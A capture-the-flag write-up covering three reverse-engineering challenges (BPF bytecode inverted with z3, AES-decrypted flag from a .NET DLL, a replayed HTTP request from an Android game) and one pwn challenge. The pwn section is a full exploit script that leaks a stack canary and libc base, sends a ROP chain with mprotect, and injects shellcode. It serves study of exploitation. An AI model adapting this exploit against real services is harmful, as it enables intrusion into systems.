# RE - BPF ## get code First we need to get the actual bpf code, for that i think it's easiest to just debug until we get the code, sadly the binary did not want to run normally so i had to coerce it into giving me what i wanted, done with a few gdb commands. These assume the binary is loaded at 0x555555554000 and will just jump into the code responsible to set up the buffer and will then dump the data to stdout One could also dump the data directly into a file using the dump memory command ``` set $rip=0x555555554000+0x160a set $rsp=$rsp-0x1000 set $rbp=$rsp+0x500 break *0x555555554000+0x3568 c x/133gx $rsi ``` ## disasm code Use https://manpages.debian.org/bullseye/binutils-bpf/bpf-objdump.1.en.html or something similar to get a disassembly of the code first we set up a stackframe, then we have the same code 4 times to retrieve the data put into the map from the client program. These are stored in variables on the stack `fp-20` to `fp-32`. Then there are four chunks of data manipulation to get variables 36 to 48 which will later then be put into the map again, for the client application to read and compare against the hardcoded values ## solve To solve it we can just ask z3 to undo the transformation for every 4 int block: ```python from z3 import * from pwn import * def rol(n,a): return (LShR(n&0xff,8-a)|((n&0xff)<<a))&0xff e = ELF("./simple") data = e.read(0x6020, 0xe0)[::4] flag = b"" while data: results = data[:4] s = Solver() r0 = BitVec("a", 32) r1 = BitVec("b", 32) r2 = BitVec("c", 32) r3 = BitVec("d", 32) for x in [r0,r1,r2,r3]: s.add(x >= 0x20) s.add(x < 0x80) s.add(((r0 ^ r1) + (r2 & r3)) & 0xff == results[0]) s.add((((r0 - r2)&0xff) ^ ((r2 * r3)&0xff) ^ rol((r0 + r1), 5)) == results[1]) s.add((((r1 * r3)&0xff) ^ ((r1 + r2)&0xff) ^ rol((r0 + r2), 4)) == results[2]) s.add(((r2 ^ r3) + (r0 ^ r1)) & 0xff == results[3]) if s.check() == sat: print(s.model()) flag += bytes([s.model()[i].as_long() for i in [r0,r1,r2,r3]]) print(flag) data = data[4:] ``` # RE - NOT S1MPLE in hindsight i realize that the title is a pun because it's not s1mple but simple because the 1 is replaced with i, anyway solve script: ```python from pwn import * a = open("Simple.dll", "rb").read() # array of 32 bit ints, but all of them are onely a single part1 = bytearray(a[0x1948:][:26*4:4]) part1[5] += 15 part1[10] -= 10 part1[18] ^= 20 print(part1) key = (a[0x6b1a:][:0x20*2:2]) iv = (a[0x6b5c:][:0x10*2:2]) part2 = bytearray(a[0x19b0:][:32*4:4]) from Crypto.Cipher import AES # obfuscated C# IL loads the string, replaces i with 1 before doing the # AES decryption iv = iv.replace(b"i", b"1") print(AES.new(key, AES.MODE_CBC, iv).decrypt(part2)) ``` the whole functionality is in the dll, not quite sure what the control flow exactly is but it's a mixed IL/native binary so we end up in the function 0x1d10 (x64 code) which does the part1 stuff and also calls the aes decryption function, that one is weird because there exist two implementations(?) but we take the one which ILspy does not see ![image](https://hackmd.io/_uploads/Sks0PpKH6.png) ![image](https://hackmd.io/_uploads/BkvyOTKr6.png) # RE - Happy Flappy android was just a native library with function get_flag; it has some obfuscated strings which when decoded give you all you need for a http request, except the last part which is the md5 of a signature, for that one you can just launch the game and look at the logfile, it should be in there (it's the last part of the content) > frida hook to get the correct md5/base64, patch to make it call getFlag() then Wireshark to capture the request it makes to 159.65.2.24. Replace the wrong MD5 -> Flag ```python from pwn import * r = remote("159.65.2.24",20013) content = b"s0m3Th1n9=aXB685gHiT1B3h4SVhEi95fynG4fnSqAcxbBlpTQuW4Evr7PWJKvJw==" r.sendline(b"POST /data HTTP/1.1\r") r.sendline(b"Host: 159.65.2.24\r") r.sendline(b"Content-Type: application/x-www-form-urlencoded\r") r.sendline(b"Content-Length: " + str(len(content)).encode() + b"\r") r.sendline(b"Connection: close\r") r.sendline(b"\r") r.sendline(content) r.interactive() ``` # pwn - serendipity my solution for `serendipity` ```python from pwn import * AUTH = 0x201 DARK = 0x301 io = remote("localhost", 9981, typ="udp") # io = remote("157.245.147.89", 23913, typ="udp") libc = ELF("./libc.so.6") context.binary = ELF("./serendipity") def add_session(io, op: int, size): io.send( (p32(0x70303070)+p32(op) + p32(size)+p16(16)+b"XXX\0") ) io.recvuntil(b'auth successfully\n', timeout=1) return u64(io.recv(8)) magik0 = add_session(io, AUTH, 0x30) x = p64(magik0)+p32(0)+p16(0x30b) + \ (b"moonlit_embrace\0").ljust(0x30b, b'A') io.send(x) io.recv(0x109) canary = u64(b"\0"+io.recv(7)) log.success(f"canary: {hex(canary)}") x = p64(magik0)+p32(0)+p16(0x30a+8+8) + \ (b"moonlit_embrace\0").ljust(0x30a+8+8, b'A') io.send(x) io.recv(0x118) libc.address = u64(io.recv(6)+b"\0\0") - 0x6cac3-0x28000 log.success(f"libc @ {hex(libc.address)}") rdi_ret = libc.address+0x000000000002a3e5 rsi_ret = libc.address+0x000000000002be51 rdx_ret = libc.address+0x00000000000796a2 shellcode = asm(f""" push rax push rax lea rbx, [rsp+0x28] mov rbx, [rbx] lea rbx, [rbx+0xa0] mov rbx, [rbx] sub rbx, 0x2a49 add rbx, 0x4000 mov rdi, rbx mov rsi, 0x3000 mov rdx, 7 mov eax,0x9 add eax,1 syscall add rbx, 0x2c mov rcx, 0x2f2f2f2f2f2f2f2f mov qword ptr [rbx],rcx jmp $ """) start_ = (libc.sym.__malloc_hook+8+4+2) & ~0xfff rop = ( p64(rdi_ret)+p64(3) + p64(rsi_ret)+p64(start_) + p64(rdx_ret)+p64(0x100) + p64(libc.sym.read) + p64(rdi_ret)+p64(start_) + p64(rsi_ret)+p64(0x3000) + p64(rdx_ret)+p64(7) + p64(libc.sym.mprotect) + p64((start_+8+4+2)) ) x = p64(magik0)+p32(0)+p16(0x30a+8+8+len(rop)) + \ (b"..\0").ljust(0x30a, b'C')+p64(canary)+p64(0)+rop io.send(x) x = p64(magik0)+p32(0)+p16(len(shellcode)+0x30) + \ shellcode io.send(x) print(io.recv()) magik1 = add_session(io, AUTH, 0x30) x = p64(magik1)+p32(0)+p16(0x10) + \ b"./flag\0" io.send(x) io.interactive() ```